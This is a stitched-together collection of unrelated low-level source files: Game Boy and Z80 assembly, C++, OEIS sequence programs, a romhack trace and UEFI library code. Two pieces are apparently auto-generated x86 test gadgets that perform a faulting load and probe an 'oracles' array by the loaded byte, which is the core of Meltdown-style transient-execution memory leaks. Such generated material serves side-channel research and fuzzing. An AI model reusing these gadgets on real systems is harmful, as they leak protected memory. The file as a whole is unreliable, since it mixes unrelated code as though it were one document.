ld c, 48
call DelayFrames
ld a, SFX_TINK
call PlaySound
call WaitForSoundToFinish
ld c, 32
call DelayFrames
ld a, SFX_GET_ITEM_1
call PlaySound
call WaitForSoundToFinish
call PlayDefaultMusic
SetEvent EVENT_USED_CELL_SEPARATOR_ON_BILL
ret
.displayBillsHousePokemonList
ld a, $1
ld [wDoNotWaitForButtonPressAfterDisplayingText], a
tx_pre BillsHousePokemonList
ret
BillsHouseMonitorText:
TX_FAR _BillsHouseMonitorText
db "@"
BillsHouseInitiatedText:
TX_FAR _BillsHouseInitiatedText
TX_BLINK
TX_ASM
ld a, $ff
ld [wNewSoundID], a
call PlaySound
ld c, 16
call DelayFrames
ld a, SFX_SWITCH
call PlaySound
call WaitForSoundToFinish
ld c, 60
call DelayFrames
jp TextScriptEnd
BillsHousePokemonList:
TX_ASM
call SaveScreenTilesToBuffer1
ld hl, BillsHousePokemonListText1
call PrintText
xor a
ld [wMenuItemOffset], a ; not used
ld [wCurrentMenuItem], a
ld [wLastMenuItem], a
ld a, A_BUTTON | B_BUTTON
ld [wMenuWatchedKeys], a
ld a, 4
ld [wMaxMenuItem], a
ld a, 2
ld [wTopMenuItemY], a
ld a, 1
ld [wTopMenuItemX], a
.billsPokemonLoop
ld hl, wd730
set 6, [hl]
coord hl, 0, 0
ld b, 10
ld c, 9
call TextBoxBorder
coord hl, 2, 2
ld de, BillsMonListText
call PlaceString
ld hl, BillsHousePokemonListText2
call PrintText
call SaveScreenTilesToBuffer2
call HandleMenuInput
bit 1, a ; pressed b
jr nz, .cancel
ld a, [wCurrentMenuItem]
add EEVEE
cp EEVEE
jr z, .displayPokedex
cp FLAREON
jr z, .displayPokedex
cp JOLTEON
jr z, .displayPokedex
cp VAPOREON
jr z, .displayPokedex
jr .cancel
.displayPokedex
call DisplayPokedex
call LoadScreenTilesFromBuffer2
jr .billsPokemonLoop
.cancel
ld hl, wd730
res 6, [hl]
call LoadScreenTilesFromBuffer2
jp TextScriptEnd
BillsHousePokemonListText1:
TX_FAR _BillsHousePokemonListText1
db "@"
BillsMonListText:
db "EEVEE"
next "FLAREON"
next "JOLTEON"
next "VAPOREON"
next "CANCEL@"
BillsHousePokemonListText2:
TX_FAR _BillsHousePokemonListText2
db "@"
DisplayOakLabEmailText:
ld a, [wSpriteStateData1 + 9]
cp SPRITE_FACING_UP
ret nz
call EnableAutoTextBoxDrawing
tx_pre_jump OakLabEmailText
OakLabEmailText:
TX_FAR _OakLabEmailText
db "@"
|
#include "toy/gadget/IntToChar.hpp"
#if TOY_OPTION_RELEASE
#include "toy/Oops.hpp"
#else
#include "toy/Exception.hpp"
#endif
namespace toy{
namespace gadget{
char IntToChar(int num)
{
if ( num>9 || num<0 )
{
#if TOY_OPTION_RELEASE
toy::Oops(TOY_MARK);
return '0';
#else
throw toy::Exception(TOY_MARK);
#endif
}
switch ( num )
{
case 0: return '0';
case 1: return '1';
case 2: return '2';
case 3: return '3';
case 4: return '4';
case 5: return '5';
case 6: return '6';
case 7: return '7';
case 8: return '8';
case 9: return '9';
default:
#if TOY_OPTION_RELEASE
toy::Oops(TOY_MARK);
#else
throw toy::Exception(TOY_MARK);
#endif
}
return '0';
}
}}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x150d3, %r8
and $11484, %rbp
movb $0x61, (%r8)
nop
nop
nop
cmp $11076, %r10
lea addresses_WC_ht+0x18f03, %rsi
lea addresses_UC_ht+0x1e470, %rdi
clflush (%rsi)
nop
nop
and %r8, %r8
mov $107, %rcx
rep movsw
nop
nop
nop
and %r10, %r10
lea addresses_A_ht+0xa119, %r10
nop
nop
and $24178, %rbp
movb (%r10), %cl
nop
nop
nop
sub %rbp, %rbp
lea addresses_A_ht+0x13dd3, %rcx
nop
nop
sub $53203, %r14
movw $0x6162, (%rcx)
sub $20630, %rbp
lea addresses_WC_ht+0x8dfb, %rbp
nop
nop
nop
add %r14, %r14
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
vmovups %ymm4, (%rbp)
nop
nop
sub %rdi, %rdi
lea addresses_D_ht+0x1239f, %rdi
nop
add %rsi, %rsi
mov (%rdi), %r8
add %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r14
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r8
push %rax
push %rbx
push %rdi
push %rsi
// Store
lea addresses_PSE+0x12df3, %r11
nop
nop
mfence
movb $0x51, (%r11)
nop
nop
nop
nop
add %rax, %rax
// Faulty Load
lea addresses_PSE+0x12df3, %rbx
add $49778, %rsi
movups (%rbx), %xmm5
vpextrq $1, %xmm5, %r11
lea oracles, %r8
and $0xff, %r11
shlq $12, %r11
mov (%r8,%r11,1), %r11
pop %rsi
pop %rdi
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_PSE', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
; ************************************************************************************************************
; ************************************************************************************************************
;
; Movement code
;
; ************************************************************************************************************
; ************************************************************************************************************
MOVE_TurnTime = 50 ; frames per turn
MOVE_MoveTime = 50 ; frames per move
MOVE_FireTime = 180 ; frames between firing
MovePlayer:
lri rd,moveTimer ; point RD to move timer
lri rc,direction ; point RC to direction.
call r5,ScanKeyboard ; read keyboard.
plo rb ; save in RB.0
ldn rd ; read move timer.
bnz __MPTimer1 ; if non-zero we can't move
glo rb ; get key press.
xri KEY_Left ; if left, go to TURN with zero.
bz __MPTurn
xri KEY_Left ! KEY_Right ; if not right, go to try MOVE
bnz __MPTryMove
ldi 2 ; go into TURN with 2
__MPTurn:
smi 1 ; make offset -1 and 1
sex rc ; add to direction
add
str rc ; write direction back.
ldi MOVE_TurnTime ; reset the timer
str rd
br __MPTryMove
__MPTryMove:
glo rb ; get key press
xri Key_Forward ; check forward.
bnz __MPTimer1
ldi MOVE_MoveTime ; reset the timer
str rd
lri rc,ppvector+1 ; get the next position forward
ldn rc ; via RC
plo re ; save in RE.0
ldi map/256 ; point RE to that map entry
phi re
ldn re ; read the map
shl ; check bit 7 (wall bit)
bdf __MPTimer1 ; if a solid wall then can't move.
ldi (player & 255) ; make rc point to the position
plo rc
glo re ; get the new position
str rc ; save it.
__MPTimer1:
inc rd ; point to 2nd timer, fire timer
ldn rd ; if that is non zero can't fire.
bnz __MPExit
glo rb ; check if fire pressed.
xri Key_Fire
bnz __MPExit
ldi MOVE_FireTime ; reset that timer.
str rd
;
; Shooting effect
;
ldi 0 ; use program code as random data
plo rf ; drawn in the screen centre to
phi rf ; give a blur effect
__MPEffect1:
lri re,Screen+8*8+3 ; middle left
__MPEffect2:
lda rf ; copy byte from RF into two bytes
str re
inc re
str re
glo re ; next line down
adi 7
plo re
xri 24*8+3 ; reached bottom
bnz __MPEffect2
ghi rf ; if not done whole effect go back.
xri 04h
bnz __MPEffect1
;
; Look for a princess to kill
;
lri re,ppVector ; point RE to the player position vector
ldi map/256 ; RF is pointer to the map
phi rf
__MPFindPrincess:
lda re ; get position + advance
plo rf ; rf now points into map
ldn rf ; read map element
shl ; check bit 7 (wall)
bdf __MPExit ; wall present then exit.
bnz __MPKill ; if non zero kill princess !
glo re ; see if done the whole vector
xri (ppVector+4) & 255
bnz __MPFindPrincess
__MPExit:
return
;
; Kill princess and bump score
;
__MPKill:
ldi 00 ; write zero to princess position
str rf
ldi kills01 & 255 ; point RE to kill count
plo re
ldn re ; bump score
adi 1
str re
xri 10 ; exit if not 10 yet.
bnz __MPExit
str re ; zero ones
inc re ; point to tens
ldn re ; bump 10s
adi 1
str re
xri 10 ; reached 99....
bnz __MPexit
str re ; zero tens, wraps around :)
br __MPexit
|
; A282822: a(n) = (n - 4)*n! for n>=0.
; -4,-3,-4,-6,0,120,1440,15120,161280,1814400,21772800,279417600,3832012800,56043187200,871782912000,14384418048000,251073478656000,4623936565248000,89633231880192000,1824676506132480000,38926432130826240000,868546016919060480000
mov $2,$0
sub $2,4
lpb $0
mul $2,$0
sub $0,1
lpe
mov $0,$2
|
; CALLER linkage for function pointers
PUBLIC open
EXTERN open_callee
EXTERN ASMDISP_OPEN_CALLEE
.open
pop hl
pop bc
pop de
push de
push bc
push hl
jp open_callee + ASMDISP_OPEN_CALLEE
|
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D22 move.l D0, (A4)+
004D24 move.l D0, (A4)+
0AAACA move.l (A0), D2
0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAACE move.w D0, ($2,A0)
0AAAD2 cmp.l (A0), D0
0AAAD4 bne $aaafc
0AAAD8 move.l D2, (A0)+
0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAE6 move.l (A0), D2
0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
0AAAF4 move.l D2, (A0)+
0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1]
copyright zengfr site:http://github.com/zengfr/romhack
|
;------------------------------------------------------------------------------
;
; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. The full text of the license may be found at
; http://opensource.org/licenses/bsd-license.php
;
; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
; Module Name:
;
; SetMem32.Asm
;
; Abstract:
;
; SetMem32 function
;
; Notes:
;
;------------------------------------------------------------------------------
.386
.model flat,C
.code
;------------------------------------------------------------------------------
; VOID *
; InternalMemSetMem32 (
; IN VOID *Buffer,
; IN UINTN Count,
; IN UINT32 Value
; )
;------------------------------------------------------------------------------
InternalMemSetMem32 PROC USES edi
mov eax, [esp + 16]
mov edi, [esp + 8]
mov ecx, [esp + 12]
rep stosd
mov eax, [esp + 8]
ret
InternalMemSetMem32 ENDP
END
|
;
;
; ZX Maths Routines
;
; 9/12/02 - Stefano Bodrato
;
; $Id: ifix.asm,v 1.2 2009/06/22 21:44:17 dom Exp $
;
; Convert fp in FA to a long or an integer (if in tiny mode)
; DEHL keeps the value, CARRY has the overflow bit
IF FORzx
INCLUDE "zxfp.def"
ELSE
INCLUDE "81fp.def"
ENDIF
XLIB ifix
.ifix
; If you want to get rid of the long support, define "TINYMODE".
; I wouldn't suggest it if you have 16K it because only
; 109 bytes with ifix and about the same with "float" are saved.
; So I'll define this mode on the ZX81 only.
IF TINYMODE
LIB fsetup1
call fsetup1
defb ZXFP_END_CALC
call ZXFP_FP_TO_BC
ld h,b
ld l,c
ret
ELSE
XREF fa
LIB l_long_neg
;call fsetup1
;defb ZXFP_END_CALC
;CALL ZXFP_STK_FETCH ; exponent to A
; ; mantissa to EDCB.
;; ### let's optimize a bit for speed... ###
ld hl,fa+5
ld a,(hl)
dec hl
ld e,(hl)
dec hl
ld d,(hl)
dec hl
ld c,(hl)
dec hl
ld b,(hl)
;; ####################################
AND A ; test for value zero.
JR NZ,nonzero
LD D,A ; zero to D
LD E,A ; also to E
LD H,A ; also to H
LD L,A ; also to L
.nonzero
; ---
; EDCB => DEHL
;( EDCB => BCE)
push af
ld l,b
ld h,c
ld a,e
ld e,d
ld d,a
pop af
sub @10100001 ; subtract 131072 (@10100001)
; was: 65536 (@10010001)
CCF ; complement carry flag
BIT 7,D ; test sign bit
PUSH AF ; push the result
SET 7,D ; set the implied bit
jr c,doexit ; Too big !
INC A ; increment the exponent and
NEG ; negate to make range $00 - $0F
CP 32 ; test if four bytes
JR C,bigint
.byroll
ld l,h ; Roll mantissa 8 bits -> right
ld h,e
ld e,d
ld d,0
sub 8
cp 8
jr nc,byroll
.bigint
and a ; Have we normalized?
; (fractionals)
ld c,a ; save exponent in C
ld a,l
rlca ; rotate most significant bit to carry for
; rounding of an already normal number.
jr z,expzero
;; FPBC-NORM
.biroll ; Still not, do the bit shifting
srl d ; 0->76543210->C
rr e ; C->76543210->C
rr h ; C->76543210->C
rr l ; C->76543210->C
dec c ; decrement exponent
jr nz,biroll
.expzero
jr nc,doexit
ld bc,1 ; round up
add hl,bc ; increment lower pair
jr nc,nocround
inc de ; inc upper pair if needed
.nocround
ld a,d ; test result for zero
or e
or h
or l
jr nz,doexit
pop af
scf ; set carry flag to indicate overflow
push af
.doexit
pop af
call nz,l_long_neg ; Negate if negative
.noneg
ret
ENDIF
|
; A177097: 6*(10^n-5)
; 30,570,5970,59970,599970,5999970,59999970,599999970,5999999970,59999999970,599999999970,5999999999970,59999999999970,599999999999970,5999999999999970,59999999999999970,599999999999999970
add $0,1
mov $1,10
pow $1,$0
sub $1,5
mul $1,6
mov $0,$1
|
; size_t b_array_insert_n(b_array_t *a, size_t idx, size_t n, int c)
SECTION code_clib
SECTION code_adt_b_array
PUBLIC b_array_insert_n
EXTERN asm_b_array_insert_n
b_array_insert_n:
pop ix
pop de
ld a,e
pop de
pop bc
pop hl
push hl
push bc
push de
push de
push ix
jp asm_b_array_insert_n
; SDCC bridge for Classic
IF __CLASSIC
PUBLIC _b_array_insert_n
defc _b_array_insert_n = b_array_insert_n
ENDIF
|
INCLUDE "hardware.inc"
SECTION "Input Vars", WRAM0
curButtons:: DB ; Buttons currently held down
newButtons:: DB ; Buttons that changed to pressed in the last frame
SECTION "InputCode", ROM0
; Reads the joypad state
; Sets - A and B to the joypad state
; in the order Down, Up, Left, Right, Start, Select, B, A (from bit 7 to 0)
; 0 is released, 1 is pressed
readInput::
ld a, ~P1F_4 ; Read directions
ldh [rP1], a
call .knownret ; Waste 10 cycles
ldh a, [rP1]
ldh a, [rP1] ; Read a couple times for a delay to allow signals to propagate
ldh a, [rP1]
and $0F ; only get last 4 bits
swap a ; swap last 4 bits with first 4
ld b, a
ld a, ~P1F_5 ; Read buttons
ldh [rP1], a
call .knownret ; Waste 10 cycles
ldh a, [rP1]
ldh a, [rP1] ; Read a couple times for a delay to allow signals to propagate
ldh a, [rP1]
and $0F
or b
cpl ; invert so 0 is released 1 is pressed
ld b, a ; set B to pressed buttons
ld a, [curButtons] ; set A to last frame's buttons
xor b ; CurrentInput xor PrevFrameInput gives the buttons that have changed
and b ; Gives buttons that changed to 1 (were just pressed)
ld [newButtons], a
ld a, b
ld [curButtons], a
.knownret:
ret |
; A178069: a(n) = 12345679 * A001651(n).
; 12345679,24691358,49382716,61728395,86419753,98765432,123456790,135802469,160493827,172839506,197530864,209876543,234567901,246913580,271604938,283950617,308641975,320987654,345679012,358024691,382716049
mul $0,6
mov $1,$0
div $1,4
mul $1,12345679
add $1,12345679
|
; A286814: Number of matchings in the n-helm graph.
; 2,3,10,29,82,227,618,1661,4418,11651,30506,79389,205522,529635,1359434,3476989,8865026,22538755,57157578,144615709,365127634,920110051,2314564522,5812911741,14576950082,36503608707,91294323178,228049363229,569017421650,1418290058723
mov $1,2
mov $2,$0
mov $3,$0
lpb $2,1
add $5,1
add $6,1
lpb $5,1
add $4,$3
sub $5,1
lpe
mov $5,1
lpb $6,1
trn $6,$3
mov $3,$1
lpe
add $1,$4
sub $2,1
lpe
|
section .data
msg db "Hello World!",0xA
len equ $-msg
section .text
global _start
_start:
mov eax,4 ;syscall for sys_write
mov ebx,1 ;file descriptor for standar output [STDOUT] is 1
mov ecx,msg ;adress of string to write to buffer
mov edx,len ;len of string to write
int 0x80
mov eax,1 ;syscall for sys_exit
mov ebx,0 ;exit staus
int 0x80 |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x7b43, %rsi
lea addresses_UC_ht+0x8b23, %rdi
clflush (%rdi)
nop
nop
nop
dec %rbx
mov $88, %rcx
rep movsl
nop
nop
sub %rbx, %rbx
lea addresses_A_ht+0xf743, %r9
clflush (%r9)
add $35359, %rdi
movw $0x6162, (%r9)
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_UC_ht+0x62c3, %rdi
nop
nop
lfence
mov (%rdi), %si
and $65160, %r10
lea addresses_D_ht+0xc203, %r9
nop
nop
cmp %rdi, %rdi
mov $0x6162636465666768, %r10
movq %r10, %xmm5
vmovups %ymm5, (%r9)
nop
nop
nop
nop
add %r10, %r10
lea addresses_WT_ht+0x104c3, %rsi
nop
nop
cmp %rdx, %rdx
movw $0x6162, (%rsi)
nop
nop
nop
nop
nop
add %r9, %r9
lea addresses_D_ht+0x5c17, %rcx
sub $58397, %r10
movups (%rcx), %xmm7
vpextrq $1, %xmm7, %rsi
nop
nop
nop
nop
nop
xor %rdx, %rdx
lea addresses_WC_ht+0x51ab, %rbx
nop
nop
dec %r9
mov (%rbx), %cx
nop
nop
nop
nop
dec %rdi
lea addresses_normal_ht+0x1db43, %rsi
lea addresses_normal_ht+0x1bde3, %rdi
nop
nop
nop
nop
xor $50425, %r8
mov $3, %rcx
rep movsq
nop
add %rdx, %rdx
lea addresses_WC_ht+0xbf43, %rsi
lea addresses_A_ht+0x3777, %rdi
nop
nop
nop
nop
inc %rdx
mov $25, %rcx
rep movsb
nop
nop
nop
nop
inc %rdx
lea addresses_A_ht+0x545f, %rdi
nop
nop
nop
add $1701, %r10
vmovups (%rdi), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rcx
nop
nop
nop
sub $62025, %rdi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
// Load
mov $0x743, %rdx
nop
nop
nop
cmp $61031, %rcx
movb (%rdx), %r8b
nop
nop
nop
nop
add $55566, %rbp
// Faulty Load
lea addresses_normal+0x8f43, %r14
clflush (%r14)
nop
nop
and %rdi, %rdi
vmovups (%r14), %ymm2
vextracti128 $1, %ymm2, %xmm2
vpextrq $1, %xmm2, %rbp
lea oracles, %rcx
and $0xff, %rbp
shlq $12, %rbp
mov (%rcx,%rbp,1), %rbp
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'same': False, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_P', 'same': False, 'size': 1, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 2, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_A_ht', 'same': False, 'size': 32, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 